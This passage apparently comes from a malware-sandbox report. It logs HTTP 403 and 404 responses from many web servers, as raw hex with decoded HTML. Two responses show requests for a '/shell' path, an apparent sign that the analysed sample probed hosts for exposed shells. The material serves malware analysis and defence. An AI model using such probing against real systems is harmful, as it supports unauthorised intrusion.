6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:01:37 GMTContent-Length: 1826Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 b5 84 e6 ba 90 e3 80 82 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 37 65 6d 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 0d 0a 20 20 20 20 20 20 20 20 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 35 70 78 7d 0d 0a 20 20 20 20 20 20 20 20 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 35 70 78 7d 0d 0a 20 20 20 20 20 20 20 20 20 48 31 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 74 3b 63 6f 6c 6f 72 3a 72 65 64 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 48 32 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 74 3b 63 6f 6c 6f 72 3a 6d 61 72 6f 6f 6e 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 43 6f 6e 73 6f 6c 61 73 22 2c 22 4c 75 63 69 64 61 20 43 6f 6e 73 6f 6c 65 22 2c 4d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 74 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 2e 35 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 70 74 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 6d 61 72 6b 65 72 20 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 76 65 72 73 69 6f 6e 20 7b 63 6f 6c 6f 72 3a 20 67 72 61 79 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 78 70 61 6e 64 61 62 6c 65 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:37 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 19:01:36 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:37 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:42 GMTServer: Apache/2Content-Length: 315Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:42 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:42 GMTServer: ApacheContent-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:43 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:43 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:43 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Web serverDate: Sun, 14 Apr 2024 02:01:41 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveX-Detail: 0x1210, insufficient security levelData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cacheContent-Type: application/jsontransfer-encoding: chunkedConnection: CloseData Raw: 36 31 0d 0a 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 22 2c 0a 20 20 22 5f 5f 74 79 70 65 22 3a 20 22 43 6c 6f 75 64 53 65 61 72 63 68 45 78 63 65 70 74 69 6f 6e 22 0a 7d 0a 0d 0a Data Ascii: 61{ "message": "Request forbidden by administrative rules", "__type": "CloudSearchException"}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:43 GMTContent-Type: text/htmlContent-Length: 343Connection: keep-aliveVary: Accept-EncodingETag: "62c684ce-157"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:44 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddendate: Sun, 14 Apr 2024 02:01:44 GMTcontent-length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:45 GMTContent-Type: text/htmlContent-Length: 343Connection: keep-aliveVary: Accept-EncodingETag: "62c684ce-157"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:46 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:46 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 18:02:18 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:46 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:38 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 